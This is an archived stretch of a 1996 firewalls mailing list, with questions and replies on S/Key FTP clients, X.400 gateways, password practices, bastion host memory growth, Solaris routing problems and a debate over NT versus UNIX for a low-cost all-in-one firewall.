listen is the "System V network listener service," basically a TLI
version of inetd.  It can be contacted to request that a service
be started on the other end of the connection.  Possible services
that it might invoke are listed in /etc/saf/tcp/_pmtab, but you're
supposed to use "pmadm -l -p tcp" to display that file.

Steve Rago
sar@plc.com

From firewalls-owner  Mon Mar 11 11:47:17 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA06420 for firewalls-outgoing; Mon, 11 Mar 1996 11:34:55 -0800 (PST)
Received: from gateway.itg.net (gateway-all.itg.net [206.64.176.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id LAA06415 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 11:34:51 -0800 (PST)
Received: by gateway.itg.net; id OAA24960; Mon, 11 Mar 1996 14:30:50 -0500
Received: from squiggy.itg.net(206.64.177.3) by gateway.itg.net via smap (g3.0.3)
	id xma024958; Mon, 11 Mar 96 14:30:43 -0500
Received: (from mec@localhost) by squiggy.itg.net (8.7.3/8.7.1) id OAA04030; Mon, 11 Mar 1996 14:31:37 -0500 (EST)
Date: Mon, 11 Mar 1996 14:31:37 -0500 (EST)
From: Matthew Cable <mec@itg.net>
To: firewalls@greatcircle.com
Subject: s/key and mac ftp clients
Message-ID: <Pine.SGI.3.91.960311143029.1434I-100000@squiggy.itg.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Does anyone know of a Mac ftp client out there that will work with a 
challenge/response type authentication?  Fetch, which seems to be the 
most popular, refuses to do this correctly.  Anyone have suggestions for 
a client that will allow one to send the username, see the challenge, and 
send the response?

  Matthew E Cable  /  Senior Systems Administrator 
      mec@itg.net  /  Internet Technologies Group, Inc.
     617.864.7800  /  Cambridge, MA 


From firewalls-owner  Mon Mar 11 13:15:55 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA07666 for firewalls-outgoing; Mon, 11 Mar 1996 12:03:38 -0800 (PST)
Received: from tuna.wang.com (tuna.wang.com [150.124.136.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA07659 for <Firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 12:03:33 -0800 (PST)
Received: from mail.wangfed.com (ns.wangfed.com [159.94.10.19])
    by tuna.wang.com (8.6.12/8.6.12tf1) with SMTP id PAA15720;
    Mon, 11 Mar 1996 15:01:50 -0500
Received: from hfsi.hfsi.com by mail.wangfed.com (1.37.109.4/A.09.00a)
	id AA07638; Mon, 11 Mar 96 14:52:06 -0600
Received: from [159.94.14.48] by hfsi (BULL 5.61++/B.O.S 02.01)
	id AA25785; Mon, 11 Mar 96 14:55:52 -0500
Date: Mon, 11 Mar 96 14:55:52 -0500
Message-Id: <9603111955.AA25785@hfsi>
From: "KM"  <goertzek@gateway.wangfed.com>
Reply-To: "KM"  <goertzek@wangfed.com>
To: Firewalls@GreatCircle.COM
Cc: wbunting@ch.inri.com, sgcccdc@citec.qld.gov.au
Subject: Re: x400-gw?
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

You might want to look into the Universal Secure e-Mail (US e-Mail) system and 
US e-Mail multi-function gateway (MFG) from Communication and Power Engineering 
Inc (CommPower).  These systems are designed to support both X.400 and SMTP 
(plus Autodin and NATO NICS TARE) message handling over OSI and/or TCP/IP, and 
also support military messaging extensions (such as ACP 123 P772 and P48 
messages, ACP127, JANAP128, and DD173).  US e-Mail supports strong 
authentication, B2-level object labelling, multilevel security/sensitivity 
processing, user capability processing, and MSP/PMSP.  The system currently runs
on Unix System V r4.2 (B2 UNIX), MLS UNIX SVR3.2.3 and SVR4 (B1 UNIX), and CMW.

This may, of course, be far more than you're looking for.  If not, you can get 
more information from:

Borge Riis-Vestergaard, President
CommPower
1320 Flynn Road - Suite A
Camarillo, CA  93012
+805-389 7414
+805-389 7419 fax





K.M. Goertzel, Program/Project Manager
Secure Systems and Services Operation 
WANG FEDERAL, Inc.  
7900 Westpark Drive - MS 700 
McLean, VA  22102-4299  USA
TEL: 703-827 3914
FAX: 703-827 3161 
EMAIL:  goertzek@wangfed.com
WEB:  http://www.wangfed.com

+----------------------------------------------+
|                        ...I guessed not half |
| Life's symphony till I had made hearts beat, |
| And touched Love's body into trembling cries |
|                      - Wilfred Owen, "Music" |
+----------------------------------------------+


From firewalls-owner  Mon Mar 11 13:17:24 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA09155 for firewalls-outgoing; Mon, 11 Mar 1996 12:53:19 -0800 (PST)
Received: from interlock.jci.com (interlock.jci.com [198.81.196.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA09148 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 12:53:15 -0800 (PST)
From: Arlen.P.Walker@jci.com
Received: from mhub.corp.jci.com by interlock.jci.com with SMTP id AA21283
  (InterLock SMTP Gateway 3.0 for <firewalls@greatcircle.com>);
  Mon, 11 Mar 1996 14:51:31 -0600
Received: from core.corp.jci.com by mhub.corp.jci.com; Mon, 11 Mar 96 13:25:37 -0500
Received: from ccInet.JCI.Com by CORE.Corp.JCI.Com (PMDF V4.3-13 #3982)
 id <01I27PJKOD5C001O4E@CORE.Corp.JCI.Com>; Mon,
 11 Mar 1996 13:22:34 -0600 (CST)
Date: Mon, 11 Mar 1996 09:21 -0600 (CST)
Subject: Re: Password generating program
To: firewalls@greatcircle.com
Message-Id: <01I27PJOLAG2001O4E@CORE.Corp.JCI.Com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN
Content-Transfer-Encoding: 7BIT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

      I heard about a U.S. Air Force site that forced a password generating  
      program on its users. It generated passwords that weren't 
      pronounceable,  either.
      
      The security audit team that went through found their way in to about 
      80%  of the systems by looking at the passwords written on sticky 
      notes, etc.  in the immediate vicinity of the user's terminal/
      workstation.

My, how times change. Back when I wore the blue it was an automatic Article 
15 (for those with no military background, that's Article 15 of the UCMJ, 
which is an administrative punishment, typically up to a few weeks on 
serious garbage detail and possible loss of rank, completely up to the 
commander and any attempt to appeal the punishment resulted in a court-
martial where the game was played for much higher stakes) if you were 
caught with your password written down *anywhere*. I got real good at 
remembering strings of consonants!


Have fun,
Arlen

Arlen.P.Walker@JCI.Com
----------------------------------------------
In God we trust; all others must provide data.
----------------------------------------------
Opinions expressed are mine and mine alone.
If JCI had an opinion on this, they'd hire someone else to deliver it.

From firewalls-owner  Mon Mar 11 14:52:40 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA11359 for firewalls-outgoing; Mon, 11 Mar 1996 13:34:43 -0800 (PST)
Received: from emh7.stl.army.mil (emh7.stl.army.mil [134.78.20.49]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA02227 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 08:55:50 -0800 (PST)
Received: from imd1.stl.army.mil by host.emh7.stl.army.mil id aa16375; 8 Mar 96 10:17 CST
Received: from ccMail by IMD1.stl.army.mil (SMTPLINK V2.11 PreRelease 4)
	id AA826309379; Fri, 08 Mar 96 10:22:27 CST
Date: Fri, 08 Mar 96 10:22:27 CST
From: "jhoffman" <jhoffman@IMD1.stl.army.mil>
Message-Id: <9602088263.AA826309379@IMD1.stl.army.mil>
To: firewalls@greatcircle.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

unsubscribe firewalls jhoffman@imd1.stl.army.mil



From firewalls-owner  Mon Mar 11 15:33:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA16021 for firewalls-outgoing; Mon, 11 Mar 1996 15:02:35 -0800 (PST)
Received: from relay3.UU.NET (relay3.UU.NET [192.48.96.8]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id PAA16008 for <firewalls@GreatCircle.com>; Mon, 11 Mar 1996 15:02:26 -0800 (PST)
Received: from maestro.Maestro.COM by relay3.UU.NET with SMTP 
	id QQagqe04053; Mon, 11 Mar 1996 18:00:10 -0500 (EST)
Received: by maestro.Maestro.COM (4.1/MAESTRO-0.1/07-03-93)
	id AA00993; Mon, 11 Mar 96 17:48:38 EST
Date: Mon, 11 Mar 1996 17:48:36 -0500 (EST)
From: Sick Puppy <sikpuppy@maestro.com>
To: firewalls@GreatCircle.com
Subject: Re: What is the impact ...
Message-Id: <Pine.SUN.3.91.960311173123.385A-100000@maestro.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


>>  Andy had already been distractied by a passing Sheila
>>  (bit of skirt for you lot that don't speak British)

> Aussie, you misguided mongreloid curr, Sheilas are Aussie.
...
> Rabid Wombat

Oops.  Sorry Brits.  Apparently Wombat has a close friend who performs 
obscene acts on kangaroos.  Sounds like another species of MaNiMaL.

Flame on.
One considerate soul told me the 25 percent packet drop on the T3 fibre 
backbone in the D.C. area was due to sunspots, not to the mail attack.
Being a somewhat stupid dawg, I will stick to the textbook that says that
fibre backbone's are unaffected by electro-magnetic radiation.
Flame off.

Anyway I need to quantify things in terms I can easily understand.  That 
rate of data dropping roughly corresponds to a successful strike on a 
packet switching center by a F-117 stealth fighter/bomber with a 2000 lb.
laser guided bomb.  Even though this was temporary, it's not bad for an 
attack where no military weapons were used.  So much for the Whitehouse 
d00d saying "blah blah blah, don't do it because it wont have any effect."

Given that the Whitehouse has a vested interest in NOT saying what the 
impact was, any further feedback will be appreciated.
   
                                   Sick Puppy, the Cat_Eating_Dawg

-=( Hammas Discount Organ Transplant Center : Take the Number 18 bus )=-



From firewalls-owner  Mon Mar 11 16:17:37 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA18511 for firewalls-outgoing; Mon, 11 Mar 1996 15:54:41 -0800 (PST)
Received: from infinity.c2.org (infinity.c2.org [140.174.185.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id PAA18506 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 15:54:37 -0800 (PST)
Received: (from comrade@localhost) by infinity.c2.org (8.7.4/8.6.9)
	id PAA09299 for firewalls@greatcircle.com; Mon, 11 Mar 1996 15:35:29 -0800 (PST)
	Community ConneXion: Privacy & Community: <URL:http://www.c2.org>
Date: Mon, 11 Mar 1996 15:35:29 -0800 (PST)
From: comrade <comrade@c2.org>
Message-Id: <199603112335.PAA09299@infinity.c2.org>
To: firewalls@greatcircle.com
Subject: bastion netwk memory growth
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Help.

I'm running a mostly fwtk dual-homed firewall (with a CERN http caching
proxy) on a BSDI 1.1 system.  (I'm posting this to firewalls instead of
fwtk-users because I don't know whether it's related to fwtk, CERN, or
BSDI, and lots of people are using all or some of these components in a
large number of firewalls.)

The bastion host runs unattended for weeks or months, but over time
the amount of network memory being used as reported by "netstat -m"
grows until I feel I need to reboot.  The resources used vary with
usage but also tend upward over time in a cumulative fashion.

See http://www.c2.org/~comrade/netmem/ for graphs over the last 40 days.


Does anyone have any experience with this?  Is it due to some bug in
BSDI 1.1?  I know BSDI is up to 2.1 or 2.2 or better, but I'm adhering
to the "if it ain't broke, don't fix it" philosophy, and I don't know
if that's what's broke here (though I might upgrade for other reasons,
anyway.)


Note that I started plotting "Connections waiting on LAST_ACK" after
about the first week.  This is because I noticed a whole lot of entries
like this when I do a "netstat -tn" (network #s changed)::

Active Internet connections
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp        0   2734  172.16.64.153.80      172.16.234.116.1408    LAST_ACK
                                   ^
                                   |
                      CERN proxy --+

The number of these entries tends to grow.  Looking at the other data,
it's not obvious that it correlates directly with the growth of network
memory usage.  Please correct me if you know otherwise.  It is related
to another problem, though.

I noticed from sniffing on the DMZ that the firewall is sending out
ACK packets for the 172.16.234.116 to the internet router on the DMZ,
not to the internal router used to get to that machine.  I can still
ping it, though, so it knows the proper route (traceroute shows it
using _only_ internal routers, so it's not a case of someone with a
private i'net connection -- I hope & pray; the user swears not)

Any further ideas on what I should be looking at to figure this one
out?  I cannot figure out why these packets are going out the wrong
interface to the wrong router.  (The user doesn't report any
difficulties using the 'net.)


    [BTW, this relates to various appropriate usage discussions; the
     httpd logs show this user using the web to access plenty of places
     like penthousemag.com, and here I am spending my valuable time
     trying to figure out why it's affecting the whole company by its
     apparent impact on the firewall. :-P ]


                                   -=O=-

From firewalls-owner  Mon Mar 11 16:50:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA20973 for firewalls-outgoing; Mon, 11 Mar 1996 16:43:21 -0800 (PST)
Received: from uahis1.uah.edu (uahis1.uah.edu [146.229.1.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id QAA20962 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 16:43:14 -0800 (PST)
Received: from ebs330 by uahis1.uah.edu with SMTP ; Mon, 11 Mar 96 13:59:04 CST
Received: from mardi-gras.eb.uah.edu.uah.edu by ebs330 (4.1/SMI-4.1)
	id AA17921; Mon, 11 Mar 96 14:01:44 CST
Received: by mardi-gras.eb.uah.edu.uah.edu (4.1/SMI-4.1)
	id AA01646; Mon, 11 Mar 96 14:00:54 CST
Date: Mon, 11 Mar 1996 14:00:53 -0600 (CST)
From: Luis Verissimo <licau@mardi-gras.eb.uah.edu>
To: firewalls@greatcircle.com
Cc: jeff kulick <kulick@mardi-gras.eb.uah.edu>
Subject: Routing problems
Message-Id: <Pine.SUN.3.91.960311135749.1638A-100000@mardi-gras.eb.uah.edu>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I'm trying to setup a Solaris x86 machine with Firewall-1 as a         
gateway/firewall, but I'm having some routing problems.

I'm a novice in this area. It is the first time I'm trying to setup
a gateway. Please forgive me if I'm asking you a trivial question.

I am unable to send packets from the external host to the internal host.
I haven't even installed firewall-1. I also can't access the external
host from the internal host. I can access both hosts from the firewall
box, and I can acess the firewall box interface smc1 from the internal
host and interface smc0 from the external host. But I can't access 
interfacace smc0 from the internal host, and interface smc1 from the 
external host.

Here is what I have:

146.229.13.10					146.229.4.1
255.255.255.0					255.255.0.0
+----------+	    	+-------------+		+------------+
| internal |		| firewall    |		| external   |
|  host    |		| Solaris X86 |		|   host     |
+----------+       smc1 +-------------+    smc0 +------------+
         \______________/		\____________/
		146.229.13.1		146.229.5.100
		255.255.255.0		255.255.0.0

This is the configuration of my interfaces:

lo0: flags=849<UP,LOOPBACK,RUNNING,MULTICAST> mtu 8232
  	inet 127.0.0.1 netmask ff000000 
smc0: flags=863<UP,BROADCAST,NOTRAILERS,RUNNING,MULTICAST> mtu 1500
    	inet 146.229.5.100 netmask ffff0000 broadcast 146.229.255.255
	ether 0:0:c0:71:98:81 
smc1: flags=863<UP,BROADCAST,NOTRAILERS,RUNNING,MULTICAST> mtu 1500
	inet 146.229.13.1 netmask ffffff00 broadcast 146.229.13.255
	ether 0:0:c0:76:98:81

And my routing table:  
   
fire:~# netstat -rn

Routing Table:
  Destination           Gateway           Flags  Ref   Use   Interface
  -------------------- -------------------- ----- ----- ------ ---------
  127.0.0.1            127.0.0.1             UH       0      0  lo0
  146.229.0.0          146.229.5.100         UG       0      0  
  146.229.13.0         146.229.13.1          U        2      5  smc1
  146.229.0.0          146.229.5.100         U        2     33  smc0

fire:~# netstat -ran
 
 Routing Table:
   Destination           Gateway           Flags  Ref   Use   Interface
   -------------------- -------------------- ----- ----- ------ ---------
   146.229.255.255      146.229.5.100         UHB      01339358  smc0
   146.229.255.255      146.229.5.100         UHB      7   2087  smc0
   146.229.255.255      146.229.13.1          UHB      0   2087  smc1
   146.229.255.255      146.229.13.1          UHB      7   2087  smc1
   146.229.0.0          146.229.5.100         UHB      0     35  smc0
   146.229.0.0          146.229.5.100         UHB      7      0  smc0
   146.229.0.0          146.229.13.1          UHB      0      0  smc1
   146.229.0.0          146.229.13.1          UHB      7      0  smc1
   255.255.255.255      146.229.5.100         UHB      0  11524  smc0
   255.255.255.255      146.229.5.100         UHB      7      0  smc0
   255.255.255.255      146.229.13.1          UHB      0      0  smc1
   255.255.255.255      146.229.13.1          UHB      7      0  smc1
   0.0.0.0              146.229.5.100         UHB      0      1  smc0
   0.0.0.0              146.229.5.100         UHB      7      0  smc0
   0.0.0.0              146.229.13.1          UHB      0      0  smc1
   0.0.0.0              146.229.13.1          UHB      7      0  smc1
   127.0.0.1            127.0.0.1             UH       0      0  lo0
   146.229.5.0          146.229.5.100         UHB      0      0  smc0
   146.229.5.0          146.229.5.100         UHB      7      0  smc0
   146.229.13.1             --                UHL      0     14  smc1
   146.229.13.0         146.229.13.1          UHB      0      0  smc1
   146.229.13.0         146.229.13.1          UHB      7      0  smc1
   146.229.2.80             --                UHA      1      8  smc0
   146.229.4.100            --                UHA      1    123  smc0
   146.229.5.100            --                UHL      0    862  smc0
   146.229.13.255       146.229.13.1          UHB      0   2108  smc1
   146.229.13.255       146.229.13.1          UHB      7   2108  smc1
   146.229.5.255        146.229.5.100         UHB      0      0  smc0
   146.229.5.255        146.229.5.100         UHB      7      0  smc0
   146.229.0.0          146.229.5.100         UG       0      0  
   146.229.13.0         146.229.13.1          U        2      5  smc1
   146.229.0.0          146.229.5.100         U        2     33  smc0

And I have routed running:

fire:~# ps -ef | grep route
    root    95     1 80 19:47:47 ?        0:20 /usr/sbin/in.routed -s

Thank You in advance for your help

Luis Verissimo


			      
			    GO CHARGERS!
		1996 NCAA Div II Ice Hockey Champions

			       \\|//
			        O-O
~~~~~~~~~~~~~~~~~~~~~~~~oOO~~~~~(_)~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ LUIS VERISSIMO                 	                                    ~  
~				Univ. Alabama Huntsville    <Work>          ~
~ e-mail: 			Engineering Bldg. Rm 216-a   (205) 895-6509 ~  
~ licau@ebs330.eb.uah.edu	Huntsville, AL 35899	     (205) 895-6928 ~ 
~							     (205) 895-6249 ~
~ 						            <Home>  ext 238 ~ 
~ web: http://eb-p5.eb.uah.edu/student/licau/index.html      (205) 830-2323 ~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~oOO~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			      |  |  |
                               -- --
  		              ooO Ooo


From firewalls-owner  Mon Mar 11 17:17:15 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA22590 for firewalls-outgoing; Mon, 11 Mar 1996 17:12:18 -0800 (PST)
Received: from relay5.UU.NET (relay5.UU.NET [192.48.96.15]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id RAA22574 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 17:12:12 -0800 (PST)
Received: from uucp5.UU.NET by relay5.UU.NET with SMTP 
	id QQagqm28761; Mon, 11 Mar 1996 20:10:30 -0500 (EST)
Received: from pdn.UUCP by uucp5.UU.NET with UUCP/RMAIL
        ; Mon, 11 Mar 1996 20:10:31 -0500
Received: from gw.paradyne.com by pdnis.paradyne.com (4.1/SMI-4.1)
	id AA26859; Mon, 11 Mar 96 19:44:11 EST
Received: from unix-Message_Server by gw.paradyne.com
	with Novell_GroupWise; Mon, 11 Mar 1996 19:44:10 -0500
Message-Id: <s144828a.089@gw.paradyne.com>
X-Mailer: Novell GroupWise 4.1
Date: Mon, 11 Mar 1996 19:41:19 -0500
From: Jay Tingiris <jtingiris@gw.paradyne.com>
To: firewalls@GreatCircle.COM
Subject:  Firewalls: NT versus UNIX
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I'm curious to see the impact of this message on the firewalls list server
community.  What opinions are there towards meeting the following requirements
for a firewall/DMZ? Please do not include costs or references associated
with local circuit or access providers as this varies around the globe.

Low Cost Firewall:  $2,000 US (hardware/software included)

Supported Services: 
1) TCP/IP filtering mechanism that allows for priority queuing
2) HTTP caching proxy support (internal and external)
3) FTP caching proxy support (internal and external)
4) GOPHER caching proxy support (internal and external)
5) Telnet proxy support  (internal and external)
6) SMTP secured mail transport mechanism (inbound and outbound)
7) DNS Server Capability (forwarding, caching, and secondary support)
8) HTTP Server Support for External/Internal WWW pages
9) MBONE tunnel endpoint (secure internal broadcast)
10) IRC Client and Server support (internal and external)
11) WAIS caching proxy support (internal and external)
12) POP mail support
13) Automatic Status reports and cache management features.
14) ALL ON THE SAME MACHINE!

My intent by clarifying "internal and external" is for a configuration
where a WWW browser (ie Netscape) proxy configuration points to a single
firewall machine for proxy services.  The use of command line tools such
as telnet and ftp that DO NOT support proxy gateways in their configuration
MUST also be supported.   This firewall should be able to access both an
internal HTTP, FTP, IRC, etc servers from the proxy as well as all known
Internet services.  It must also be configurable to support raw port tunneling
for other obscure services such as NFS or MBONE.

Currently, I have personally evaluated many products (UNIX, DOS/Windows,
and NT) to try and meet similar requirements for our site.   I was unable
to meet these requirements with a single vendor product.  We were forced
to build a hybrid solution of many different software products written
for UNIX.

My opinion is that UNIX (whatever flavor you pick) is FAR SUPERIOR to DOS/Windows
or Windows NT (Not There, Nice Try, No Thanks!) for a highly functional
and secure Internet firewall.  Not to mention, cheaper and more reliable.
 The Microsoft based products evaluated gave me basic services at best.
 

The opinions expressed here are my own.  They in no way reflect the opinions
of my company.

Jay Tingiris - Network Systems Programmer III
AT&T Paradyne Corporation
tingiris@paradyne.com



From firewalls-owner  Mon Mar 11 19:02:10 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA27959 for firewalls-outgoing; Mon, 11 Mar 1996 18:59:32 -0800 (PST)
Received: from POWERED.ZOO2.CS.YALE.EDU (ZOO-GW.CS.YALE.EDU [128.36.0.5]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id SAA27954 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 18:59:28 -0800 (PST)
Received: by POWERED.ZOO.CS.YALE.EDU id VAA97570; Mon, 11 Mar 1996 21:55:55 -0500
Date: Mon, 11 Mar 1996 21:55:54 -0500 (EST)
From: "Rev. Ben" <samman-ben@CS.YALE.EDU>
To: firewalls@greatcircle.com
Subject: Re: Firewalls: NT versus UNIX
In-Reply-To: <s144828a.089@gw.paradyne.com>
Message-ID: <Pine.A32.3.91.960311214842.35404C-100000@POWERED.ZOO3.CS.YALE.EDU>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> Low Cost Firewall:  $2,000 US (hardware/software included)

One of the problems with a 'low cost firewall' is that inevitably its not 
a secure setup and could lead to a false sense of security.  In addition, 
when talking about the security of your company can you really afford to 
scrimp?  The value of the machines and data behind the firewall must be 
greater than a minimum of $2000US.

> Supported Services: 
> 1) TCP/IP filtering mechanism that allows for priority queuing
> 2) HTTP caching proxy support (internal and external)
> 3) FTP caching proxy support (internal and external)

....

> 13) Automatic Status reports and cache management features.
> 14) ALL ON THE SAME MACHINE!

Um.  As someone who is admittedly NOT a firewalls professional, I say 
thee nay:

*	You have too  much on one machine.  You'd like to have your www, 
ftp, gopher etc daemons running on one sacrificial host outside in the 
DMZ.  If you run it on your firewall you run the risk of getting burned.

*	The idea of a firewall is minimize the number of uses a machine 
has.  The less it is used, the easier it is to nail it down and minimize 
your security perimeter.  When you start adding services to your firewall 
you start increasing the size of your security perimeter.  In this case 
you've basically got a proxy box on steriods there.  It would be no 
harder to break into this machine and then use it to exploit a machine 
behind the 'firewall' than to simply hit one of the machines behind the 
firewall.


Ben.
Ben Samman..............................................samman@cs.yale.edu
"If what Proust says is true, that happiness is the absence of fever, then 
I will never know happiness. For I am possessed by a fever for knowledge, 
experience, and creation."                                      -Anais Nin
Want to give a soon-to-be college grad a job?         Mail me for a resume


From firewalls-owner  Mon Mar 11 19:49:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id TAA29106 for firewalls-outgoing; Mon, 11 Mar 1996 19:44:27 -0800 (PST)
Received: from okjunc.junction.net (okjunc.junction.net [199.166.227.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA29087 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 19:44:17 -0800 (PST)
Received: from sidhe.memra.com (sidhe.memra.com [199.166.227.105]) by okjunc.junction.net (8.6.11/8.6.11) with SMTP id TAA31998; Mon, 11 Mar 1996 19:52:31 -0800
Date: Mon, 11 Mar 1996 20:42:11 -0800 (PST)
From: Michael Dillon <michael@memra.com>
To: Jay Tingiris <jtingiris@gw.paradyne.com>
cc: firewalls@GreatCircle.COM
Subject: Re: Firewalls: NT versus UNIX
In-Reply-To: <s144828a.089@gw.paradyne.com>
Message-ID: <Pine.BSF.3.91.960311202914.11194C-100000@sidhe.memra.com>
Organization: Memra Software Inc. - Internet consulting
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Mon, 11 Mar 1996, Jay Tingiris wrote:

> Low Cost Firewall:  $2,000 US (hardware/software included)

I note that labor costs are not included ;-)

> 1) TCP/IP filtering mechanism that allows for priority queuing 

FreeBSD

> 2) HTTP caching proxy support (internal and external)
> 3) FTP caching proxy support (internal and external)
> 4) GOPHER caching proxy support (internal and external)

CERN (or W3) httpd http://www.w3.org/httpd

> 5) Telnet proxy support  (internal and external)
> 6) SMTP secured mail transport mechanism (inbound and outbound)

TIS Firewall toolkit ftp.tis.com

> 7) DNS Server Capability (forwarding, caching, and secondary support)

BIND (comes with FreeBSD)

> 8) HTTP Server Support for External/Internal WWW pages

Apache (http://www.apache.org) can easily do virtual domains so just give 
your host two IP addresses named www.your.org and inhouse.your.org

> 9) MBONE tunnel endpoint (secure internal broadcast)

FreeBSD can do MBONE, not sure about secure internal broadcast but I 
suspect the ipfw packet filtering (man ipfw) will deal with that.

> 10) IRC Client and Server support (internal and external)

Internal is easily handled by ipfw packet filtering. It's probably a bad 
idea to access external IRC networks through the firewall. In any case,
you don't need to run an IRC server to access the global IRC nets.

> 11) WAIS caching proxy support (internal and external)

????

> 12) POP mail support

comes with freeBSD (get Qualcomm popper from the ports collection)

> 13) Automatic Status reports and cache management features.

with PERL, you can do wonders!

> 14) ALL ON THE SAME MACHINE!

Not the best way to do things, but for somebody with a $2,000 budget this 
is likely the only choice. Note that I already have much of the above 
working on my home LAN which uses RFC1918 addresses and I think that for 
a home LAN or a small organization, this is a reasonable architecture.

> Internet services.  It must also be configurable to support raw port tunneling
> for other obscure services such as NFS or MBONE.

NFS? I was under the impression that NFS is not possible through 
a firewall in a secure manner.

You haven't mentioned wierd stuff like RealAudio up there. If you need to 
open up UDP ports there is also a package called UDPrelay out there somewhere
that works similar to TIS fwtk plug-gw. 

Setting this up is npt going to be simple, but if you have the time, it 
can be done.

Michael Dillon                                    Voice: +1-604-546-8022
Memra Software Inc.                                 Fax: +1-604-546-3049
http://www.memra.com                             E-mail: michael@memra.com


From firewalls-owner  Mon Mar 11 20:02:24 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id TAA29128 for firewalls-outgoing; Mon, 11 Mar 1996 19:44:46 -0800 (PST)
Received: from hprofsdv.nwscc.sea06.navy.mil (hprofsdv.nwscc.sea06.navy.mil [130.163.113.128]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id TAA29114 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 19:44:36 -0800 (PST)
Message-Id: <199603120344.TAA29114@miles.greatcircle.com>
Received: by hprofsdv.nwscc.sea06.navy.mil
	(1.37.109.14/16.2) id AA221842172; Mon, 11 Mar 1996 22:42:53 -0500
From: John Bell <job@hprofsdv.nwscc.sea06.navy.mil>
Subject: Re: books on security policies
To: firewalls@greatcircle.com
Date: Mon, 11 Mar 96 22:42:52 EST
Reply-To: job@hprofsdv.nwscc.sea06.navy.mil
In-Reply-To: <9603111625.AA07746@radiatore.mccaw-stg.com>; from "Peter Gregory" at Mar 11, 96 8:25 am
Mailer: Elm [revision: 70.85.2.1]
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> folks,
> 
> are there any books in print that address real-life security policies?
> there are any number of books on security (both networks and systems), but
> none that i have seen to date discuss - in any detail - an organization's
> security policies: what they should include, etc.
> 
> thanks,
> 
> peter gregory
> 
> --
> 
> Peter Gregory  [NICname PG11]  peter.gregory@attws.com
> Systems/Network Architect, AT&T Wireless Services, Strategic Technologies Group
> 

1) Determine your assetts and organizational needs
2) Decide which assetts warrant extra protection
3) Form a consensus on the type/level of protection required
4) Write this information down
5) Hand this document to your Technical and Legal departments, in order
   to determine if policy implementation is feasible
6) If step "5" is a go, have technical/legal author procedure docs
   which will be referenced by the policy doc
7) Make changes as organizational needs and/or assetts change

That's about as close to a policy template that you'll see. Policies tend
to be tailored, not one-size-fits-all. By definition, this requires
extra effort (effort well spent up front, _before_ implementation).

If I'm missing anything, please feel free to pipe up :-).

Have fun,
--
                       John Bell, CACI Inc. - Federal
           Bloomington, Indiana (Midwest RE-Engineering Division)
        job@hprofsdv.nwscc.sea06.navy.mil -OR- jbii@mama.indstate.edu
                      "Hi ho! Yow! I'm surfing ARPANET!"
                 - anagram for "The Information Superhighway"

From firewalls-owner  Mon Mar 11 20:17:34 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id UAA29916 for firewalls-outgoing; Mon, 11 Mar 1996 20:14:16 -0800 (PST)
